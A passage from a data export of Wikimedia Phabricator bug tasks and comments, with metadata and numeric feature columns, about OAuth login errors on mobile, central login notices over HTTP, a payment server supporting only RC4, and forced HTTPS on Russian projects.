I expect to see the usual OAuth  ""phabricator-production would like to have basic access..."" dialog.
I tried going to a random page on mw.org and that worked, but still no OAuth dialog.

I pressed the back button repeatedly and eventually the OAuth dialog appeared on top of a grayed out page. (The dialog was positioned off-screen, but that's a separate bug T95216.)

The situation sounds like {T53789} but that's a complaint about mobile on desktop. There are other bugs in Phabricator mentioning this ""No active login attempt is in progress for your session."" message.

----

I had additional difficulty but it's probably unrelated. I spent time filing this bug report before clicking the OAuth [Allow] button. That resulted in a red warning in the OAuth dialog
 Sorry something went wrong connecting this application. Go back and try to connect your account again, or contact the application author.
 OAuth token not found,  E004

Clicking [Allow] again displayed the same warning.

So I backed out all the way to the Phabricator login page, clicked it [Login or Register MediaWiki] button, got the OAuth dialog right away, clicked [Allow], and was back in Phabricator logged in. I think the moral is don't spend 15 minutes filing a bug report in the middle of trying to log in with OAuth :)",Low,25.0,1428352167,1589143078.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-3rxj6v6fprjocdrb7wco,task_description,declined,True,c3,1,False,False,False,-13,True,0.2,0.2,0.0,0.2,0.8,4.2,0.8,0.0,0.0,0.0,2.6,0.4,0.0,0.0,0.2,2.8,0.6,3.8,9.0,0.2,1.2,0.0,0.0,0.0,4.6,0.2,0.0,0.2,0.0,0.2,0.8,3.8,1.4,0.6,1.0,0.6,0.4,0.0,0.8,0.6,0.8,0.0,0.6,1.2,0.0,0.2,0.0,0.0,0.0,13.0,1.2,0.4,0.0,0.0,0.0,0.0,0.0,0.0,0.8,0.0,0.4,0.4,0.0,0.2,0.2,0.0,0.2,5.4,1.4,12.8,0.2,2.8,8.0,0.0,0.2,0.0,0.0,2.4,0.2,0.8,0.0,4.2,9.0,5.8,0.0,1.2,0.0,4.2,0.0,0.4,1.4,0.0,2.0,0.0,0.0,2.0,3.9000903342366753,0.7518518518518518,"On my 2013 Moto X running Android 4.4 and Chrome, I tried to log in to Phabricator, I think for the first time. On phabricator.wikimedia.org I clicked the [Login or Register MediaWiki] button, and after 8 attempts at the mediawiki.org Special:Login page (typnig on phone keygoard is hard) I  successfully logged into mediawiki.org as ""SPage (WMF)"". 
Upon doing so, the page
URL appeared displaying a confusing pink error message

**Central user log in**
No active login attempt is in progress for your session.

I don't know what this means. It's not helpful and I have no idea what to do next.
I expect to see the usual OAuth  ""phabricator-production would like to have basic access..."" dialog.
I tried going to a random page on mw.org and that worked, but still no OAuth dialog.

I pressed the back button repeatedly and eventually the OAuth dialog appeared on top of a grayed out page. (The dialog was positioned off-screen, but that's a separate bug T95216.)

The situation sounds like {T53789} but that's a complaint about mobile on desktop. There are other bugs in Phabricator mentioning this ""No active login attempt is in progress for your session."" message.

----

I had additional difficulty but it's probably unrelated. I spent time filing this bug report before clicking the OAuth [Allow] button. That resulted in a red warning in the OAuth dialog
 Sorry something went wrong connecting this application. Go back and try to connect your account again, or contact the application author.
 OAuth token not found,  E004

Clicking [Allow] again displayed the same warning.

So I backed out all the way to the Phabricator login page, clicked it [Login or Register MediaWiki] button, got the OAuth dialog right away, clicked [Allow], and was back in Phabricator logged in. I think the moral is don't spend 15 minutes filing a bug report in the middle of trying to log in with OAuth :)"
1500603,"Using the MediaWiki login to Phabricator on mobile, got a ""No active login attempt is in progress for your session."" error on CentralLogin",">>! In T95221#4529571, @Aklapper wrote:
> Does this still happen / can someone still reproduce? Asking because T201460 got fixed recently.

Unfortunately closing this Phabricator task as no further information has been provided. If anyone can still reproduce this problem, please provide browser info, OS info, and steps to reproduce and set the status of this task back to ""Open"" via the {nav name=Add Action... > Change Status} dropdown. Thanks!
",,,1589143078,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-3rxj6v6fprjocdrb7wco,task_subcomment,,True,c3,3,True,,,253,True,0.0,1.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,18.0,1.0,3.0,9.0,0.0,0.0,1.0,0.0,7.0,1.0,0.0,0.0,0.0,9.0,4.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,4.074626865671642,0.7910447761194029,"QUOTE
QUOTE

Unfortunately closing this Phabricator task as no further information has been provided. If anyone can still reproduce this problem, please provide browser info, OS info, and steps to reproduce and set the status of this task back to ""Open"" via the {nav name=Add Action... > Change Status} dropdown. Thanks!
"
1128718,"Using the MediaWiki login to Phabricator on mobile, got a ""No active login attempt is in progress for your session."" error on CentralLogin",Does this still happen / can someone still reproduce? Asking because T201460 got fixed recently.,,,1535108419,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-3rxj6v6fprjocdrb7wco,task_subcomment,,True,c3,3,True,,,164,True,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.823529411764706,0.9411764705882353,Does this still happen / can someone still reproduce? Asking because T201460 got fixed recently.
615650,"Using the MediaWiki login to Phabricator on mobile, got a ""No active login attempt is in progress for your session."" error on CentralLogin","I disagree with mmodell - once the pink/red texts appears, if you tap on desktop at the bottom, it works fine, meaning it is an issue with the mobile version.",,,1456163647,,PHID-USER-ksll7typ67mci2jnplxf,False,,,PHID-TASK-3rxj6v6fprjocdrb7wco,task_subcomment,,True,c3,3,False,,,33,True,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,3.0,3.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,14.0,3.0,0.0,0.0,0.0,11.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.5833333333333335,0.8333333333333334,"I disagree with mmodell - once the pink/red texts appears, if you tap on desktop at the bottom, it works fine, meaning it is an issue with the mobile version."
615648,"Using the MediaWiki login to Phabricator on mobile, got a ""No active login attempt is in progress for your session."" error on CentralLogin","I think the issue is that the oauth token timeout is very short - only a couple of minutes, if you don't get through the process quickly it's already timed out.",,,1456163484,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-3rxj6v6fprjocdrb7wco,task_subcomment,,True,c3,3,True,,,33,True,0.0,0.0,3.0,0.0,3.0,3.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,3.0,6.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,0.9142857142857143,"I think the issue is that the oauth token timeout is very short - only a couple of minutes, if you don't get through the process quickly it's already timed out."
615645,"Using the MediaWiki login to Phabricator on mobile, got a ""No active login attempt is in progress for your session."" error on CentralLogin","I have the same on my iPad - when the error is displayed, tap on 'desktop' at the bottom of the page, and it should now appear as expected.",,,1456163276,,PHID-USER-ksll7typ67mci2jnplxf,False,,,PHID-TASK-3rxj6v6fprjocdrb7wco,task_subcomment,,True,c3,3,False,,,33,True,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,3.0,3.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,15.0,3.0,0.0,6.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.264705882352941,0.8235294117647058,"I have the same on my iPad - when the error is displayed, tap on 'desktop' at the bottom of the page, and it should now appear as expected."
94125,"Central login notice appears on unencrypted API format=*fm pages, where reloading does not affect login status","@halfak and I noticed this earlier.
* Log in to a Wikimedia wiki
* Browse to /w/api.php?action=query&meta=userinfo via HTTP (not HTTPS)
* See ""You are centrally logged in. Reload the page to apply your user settings.""
* Reload page
* No change. The login would've happened over HTTPS but this is unencrypted.
* Load page via HTTPS instead
* Now you're shown as logged in",Low,25.0,1427416367,1697187026.0,PHID-USER-x7ti5ksby4ubsabntlxa,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-awz4sziqvcfihhsazws3,task_description,declined,True,c3,1,True,False,False,-14,True,0.0,0.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,6.0,2.0,1.0,0.0,0.0,1.0,0.0,6.0,11.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,3.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,19.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,11.0,7.0,0.0,2.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,3.561797752808989,0.6629213483146067,"SCREEN_NAME and I noticed this earlier.
* Log in to a Wikimedia wiki
* Browse to /w/api.php?action=query&meta=userinfo via HTTP (not HTTPS)
* See ""You are centrally logged in. Reload the page to apply your user settings.""
* Reload page
* No change. The login would've happened over HTTPS but this is unencrypted.
* Load page via HTTPS instead
* Now you're shown as logged in"
2211030,"Central login notice appears on unencrypted API format=*fm pages, where reloading does not affect login status","This only affects CentralAuth in a non-WMF configuration, which we don't support.",,,1697187026,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-awz4sziqvcfihhsazws3,task_subcomment,,True,c3,3,True,,,432,True,0.0,0.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,6.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,18.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,4.117647058823529,1.0,"This only affects CentralAuth in a non-WMF configuration, which we don't support."
504143,"Central login notice appears on unencrypted API format=*fm pages, where reloading does not affect login status",">>! In T94125#1385626, @jayvdb wrote:
> The stated sequence cant occur any more due to HTTPS rollout, so maybe this bug is solved. (Also this is a bit like {T57887}, which still occurs)

The ticket isn't about WMF sites though, it's about MediaWiki (not all other sites are forcing HTTPS).",,,1438964151,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-awz4sziqvcfihhsazws3,task_subcomment,,True,c3,3,True,,,5,True,4.0,0.0,0.0,0.0,7.0,4.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,22.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.6666666666666665,0.8888888888888888,"QUOTE
QUOTE

The ticket isn't about WMF sites though, it's about MediaWiki (not all other sites are forcing HTTPS)."
478663,"Central login notice appears on unencrypted API format=*fm pages, where reloading does not affect login status","The stated sequence cant occur any more due to HTTPS rollout, so maybe this bug is solved. (Also this is a bit like {T57887}, which still occurs)",,,1434873671,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-awz4sziqvcfihhsazws3,task_subcomment,,True,c3,2,True,,,-2,True,3.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,6.0,6.0,11.0,0.0,3.0,17.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,3.4,0.9142857142857143,"The stated sequence cant occur any more due to HTTPS rollout, so maybe this bug is solved. (Also this is a bit like {T57887}, which still occurs)"
91694,Worldpay: donors on Firefox receiving weird SSL error,"Urgency: low-medium
Impact to donors: receiving strange error message in english, looks unprofessional and losing donations

**Note to @atgo:** This wasn't reported at all in IL, but I don't know if I can rule out the issue in case it was a WPG thing. Feel free to close this task if you think it's no longer relevant.

From 11/14/2014:
Number of donors impacted: At least 10 have contacted us since Friday. It seems the payment failure related to this error are not making it to WP so we can't quantify how many are seeing this and not contacting us

We have received word from a number of French donors who say that after entering their credit card details and clicking Submit, they are sent to this page:

https://ott9.wpstn.com/live/

It looks like it's probably a WP page, but there's not much to go off of. A very tech savvy donor sent us the reply below — I think he can explain this better than I ever could. Two other donors confirmed they were using Firefox and probably had to do with browser security:

I tried to donate to Wikipedia but could not, as my web browser (Firefox) is configured not to accept the RC4 algorithm for SSL connections. The RC4 algorithm is considered insecure nowadays. Apparently, RC4 is all that the web server ott9.wpstn.com supports, as I get the error message that no overlap in supported encryption algorithms was found.

The SSL scan results obtained on https://www.ssllabs.com/ssltest/analyze.html?d=ott9.wpstn.com&hideResults=on support this finding.

Please, can you arrange for the SSL stack on this server to allow more secure symmetric algorithms than RC4, so that people with web browsers configured for higher security can donate?

I don't have Civi IDs or WP order IDs for these donors because they didn't seem to make it that far. Two questions:

1) Is there a reason they're getting a WP error and not one from us?

2) Is there anything we can do based on the donor's suggestion above to change the way we connect through SSL?",Low,25.0,1425589087,1483552980.0,PHID-USER-uxp3hc4banddtiwz6xrp,True,PHID-USER-3jrdwh7dywughlcnir2i,False,PHID-TASK-mw7kmenei2e5hho2xkwq,task_description,declined,True,c3,1,True,False,False,-17,True,1.0,0.25,0.25,1.25,2.75,4.5,0.5,0.25,0.0,0.5,1.5,1.5,0.0,0.0,0.5,4.0,0.25,7.0,13.0,0.25,2.0,0.0,0.5,0.0,2.25,0.0,0.0,0.75,1.75,0.0,0.0,6.0,2.75,1.75,1.5,0.5,0.5,0.0,0.25,1.0,0.25,1.5,0.25,2.0,0.0,0.0,0.25,0.0,0.25,14.75,0.5,2.5,0.0,0.5,0.0,0.75,0.0,0.5,0.0,0.0,0.5,1.5,0.0,1.25,0.0,0.25,0.0,4.25,3.0,13.0,2.5,2.25,7.0,0.0,0.0,0.0,0.0,4.75,0.25,1.5,0.0,7.75,13.0,5.0,0.75,0.0,0.0,7.75,0.0,0.75,1.5,1.0,2.25,1.0,0.25,0.5,3.9099999999999997,0.7625000000000001,"Urgency: low-medium
Impact to donors: receiving strange error message in english, looks unprofessional and losing donations

**Note toSCREEN_NAME:** This wasn't reported at all in IL, but I don't know if I can rule out the issue in case it was a WPG thing. Feel free to close this task if you think it's no longer relevant.

From 11/14/2014:
Number of donors impacted: At least 10 have contacted us since Friday. It seems the payment failure related to this error are not making it to WP so we can't quantify how many are seeing this and not contacting us

We have received word from a number of French donors who say that after entering their credit card details and clicking Submit, they are sent to this page:

URL

It looks like it's probably a WP page, but there's not much to go off of. A very tech savvy donor sent us the reply below — I think he can explain this better than I ever could. Two other donors confirmed they were using Firefox and probably had to do with browser security:

I tried to donate to Wikipedia but could not, as my web browser (Firefox) is configured not to accept the RC4 algorithm for SSL connections. The RC4 algorithm is considered insecure nowadays. Apparently, RC4 is all that the web server ott9.wpstn.com supports, as I get the error message that no overlap in supported encryption algorithms was found.

The SSL scan results obtained on URL support this finding.

Please, can you arrange for the SSL stack on this server to allow more secure symmetric algorithms than RC4, so that people with web browsers configured for higher security can donate?

I don't have Civi IDs or WP order IDs for these donors because they didn't seem to make it that far. Two questions:

1) Is there a reason they're getting a WP error and not one from us?

2) Is there anything we can do based on the donor's suggestion above to change the way we connect through SSL?"
421872,Worldpay: donors on Firefox receiving weird SSL error,@jgreen do you have any ideas on this one?,,,1425596486,,PHID-USER-j4ifauraw6sytqa3zrih,True,,,PHID-TASK-mw7kmenei2e5hho2xkwq,task_subcomment,,True,c3,1,False,,,-17,True,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,10.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,SCREEN_NAME do you have any ideas on this one?
91352,Russian projects force HTTPS regardless of preferences,"Today I came across an issue that prevents using HTTP on the Russian Wiktionary. At first I had to turn the ""Always use secure connection"" option off. Then I tried deleting all ForceHTTPS cookies and logging in-out several times, but to no avail. Currently I have no such cookies but still unable to switch to HTTP.",Low,25.0,1425344228,1426054218.0,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,PHID-USER-766idcqt4jkngnnuhnrj,False,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_description,invalid,True,c3,1,False,False,True,-18,True,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,8.0,15.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,22.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,6.0,15.0,6.0,0.0,3.0,0.0,6.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,4.0,0.7692307692307693,"Today I came across an issue that prevents using HTTP on the Russian Wiktionary. At first I had to turn the ""Always use secure connection"" option off. Then I tried deleting all ForceHTTPS cookies and logging in-out several times, but to no avail. Currently I have no such cookies but still unable to switch to HTTP."
429166,Russian projects force HTTPS regardless of preferences,"Change 194856 merged by jenkins-bot:
Hide ""prefershttps"" preference on HSTS domains (ru): it has no effect

[[https://gerrit.wikimedia.org/r/194856]]",,,1426778795,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-15,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,7.0,7.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.6,0.9,"Change 194856 merged by jenkins-bot:
Hide ""prefershttps"" preference on HSTS domains (ru): it has no effect

[[GERRIT_URL]]"
424347,Russian projects force HTTPS regardless of preferences,"
> I have slow and unstable and limited by quota connection to Internet. And no, it's not going to improve because of where I live. HTTPS has additional payload and uses precious time and bandwidth up, can't be cached by proxy servers or compressed by Opera Turbo. Enough? So, please, don't forget your promises, and keep my ability to use HTTP intact, and fix this bug. Thanks for attention and understanding.

See T86666 and T35890 -- we're very aggressively optimizing HTTPS performance (SPDY also introduces additional compression). Are you able to quantify the performance difference, by comparing en.wikipedia.org on an HTTP connection vs. ru.wikipedia.org on an HTTPS connection? 

While we take the performance concern seriously and are willing to continue to investigate it with you to ensure you have the best possible experience on HTTPS, at this time we will not revisit the configuration issue. I'm closing this ticket as invalid, because the reported behavior is the intended one with the exception of the checkbox needing to be hidden.",,,1426054208,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.5,1.0,1.0,5.0,1.5,1.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,3.0,0.5,3.0,13.0,0.0,4.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,1.0,1.0,5.5,1.5,1.0,1.0,2.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,2.0,0.0,0.0,0.0,7.5,3.0,7.0,1.5,1.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,6.0,13.0,5.5,0.5,0.0,0.0,6.0,0.0,0.0,1.0,0.0,3.0,0.0,1.0,0.0,4.854479949874687,0.7962092731829574,"
QUOTE

See T86666 and T35890 -- we're very aggressively optimizing HTTPS performance (SPDY also introduces additional compression). Are you able to quantify the performance difference, by comparing en.wikipedia.org on an HTTP connection vs. ru.wikipedia.org on an HTTPS connection? 

While we take the performance concern seriously and are willing to continue to investigate it with you to ensure you have the best possible experience on HTTPS, at this time we will not revisit the configuration issue. I'm closing this ticket as invalid, because the reported behavior is the intended one with the exception of the checkbox needing to be hidden."
423658,Russian projects force HTTPS regardless of preferences,"The question is, why do you feel you have the right to decide instead of me whether to use it. I explicitly opted out, and you should comply with that. When I first heard about HTTPS rolling out on Wikimedia projects, I myself raises concerns about the possibility it will negatively impact my access and capability to participate, and several users supported me. We were told we will be able to opt out, and indeed for a while it had been working great, albeit sometimes this bug occurs, and now you say you lied to us or what? If some dumbass admin on those projects decided he is the smartest being in the entire world, why do I have to suffer?

I have slow and unstable and limited by quota connection to Internet. And no, it's not going to improve because of where I live. HTTPS has additional payload and uses precious time and bandwidth up, can't be cached by proxy servers or compressed by Opera Turbo. Enough? So, please, don't forget your promises, and keep my ability to use HTTP intact, and fix this bug. Thanks for attention and understanding.",,,1425971334,,PHID-USER-i2qgcl7ydbohc6lxlsuw,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,False,,,-17,True,0.6666666666666666,0.0,0.0,0.6666666666666666,1.3333333333333333,4.0,1.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,1.0,0.0,0.0,0.0,5.0,0.3333333333333333,7.333333333333333,10.666666666666666,0.0,2.6666666666666665,0.3333333333333333,0.3333333333333333,0.0,2.3333333333333335,1.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,5.333333333333333,2.3333333333333335,1.3333333333333333,0.6666666666666666,2.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,2.3333333333333335,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,8.333333333333334,0.3333333333333333,1.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,2.6666666666666665,0.0,0.0,1.6666666666666667,0.0,1.0,0.0,0.0,0.0,2.0,2.0,8.0,3.0,6.0,3.6666666666666665,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,8.666666666666666,10.666666666666666,1.6666666666666667,1.0,0.0,0.0,8.666666666666666,0.0,1.6666666666666667,0.3333333333333333,1.3333333333333333,1.0,0.0,0.3333333333333333,0.0,3.939590275206714,0.7819326175490559,"The question is, why do you feel you have the right to decide instead of me whether to use it. I explicitly opted out, and you should comply with that. When I first heard about HTTPS rolling out on Wikimedia projects, I myself raises concerns about the possibility it will negatively impact my access and capability to participate, and several users supported me. We were told we will be able to opt out, and indeed for a while it had been working great, albeit sometimes this bug occurs, and now you say you lied to us or what? If some dumbass admin on those projects decided he is the smartest being in the entire world, why do I have to suffer?

I have slow and unstable and limited by quota connection to Internet. And no, it's not going to improve because of where I live. HTTPS has additional payload and uses precious time and bandwidth up, can't be cached by proxy servers or compressed by Opera Turbo. Enough? So, please, don't forget your promises, and keep my ability to use HTTP intact, and fix this bug. Thanks for attention and understanding."
423651,Russian projects force HTTPS regardless of preferences,"A Russian Wikipedia community member implemented a JavaScript redirect to send Russian Wikipedia traffic to HTTPS in August 2014, so most Russian Wikipedia traffic has been going over HTTPS since last year. A similar hack was in place in Russian Wikinews. The resulting configuration was vulnerable to man-in-the-middle attacks, as it depended on users first loading the insecure version. It also caused a major performance hit for users due to the double-loading. In consultation with Russian Wikimedia community members, consistent with our long term HTTPS rollout objectives, and consistent with the pre-existing request to participate in the HTTPS beta, we superseded the hack with a server-side redirect and HSTS as a secure and consistent default configuration for all Russian language projects.

I'm curious what your concerns are about HTTPS and whether they can be addressed? Why do you want to opt-out?",,,1425965788,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-dnmwqv4uddah3wrkgoy3,task_subcomment,,True,c3,1,True,,,-17,True,0.5,0.0,0.0,0.5,0.0,10.5,1.5,0.0,0.0,0.0,4.5,0.5,0.0,0.0,0.0,2.0,0.0,1.5,15.0,0.0,1.5,0.0,0.5,0.0,3.0,1.0,0.0,0.0,0.5,0.0,0.0,3.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.5,0.0,0.5,0.0,3.5,0.0,0.5,0.0,0.0,0.0,17.5,0.0,0.0,0.5,1.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.5,14.0,2.0,2.5,7.5,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,4.5,15.0,6.0,1.0,0.0,0.0,4.5,0.0,1.0,3.0,0.0,1.5,0.0,0.5,0.0,4.5737394957983195,0.7220588235294118,"A Russian Wikipedia community member implemented a JavaScript redirect to send Russian Wikipedia traffic to HTTPS in August 2014, so most Russian Wikipedia traffic has been going over HTTPS since last year. A similar hack was in place in Russian Wikinews. The resulting configuration was vulnerable to man-in-the-middle attacks, as it depended on users first loading the insecure version. It also caused a major performance hit for users due to the double-loading. In consultation with Russian Wikimedia community members, consistent with our long term HTTPS rollout objectives, and consistent with the pre-existing request to participate in the HTTPS beta, we superseded the 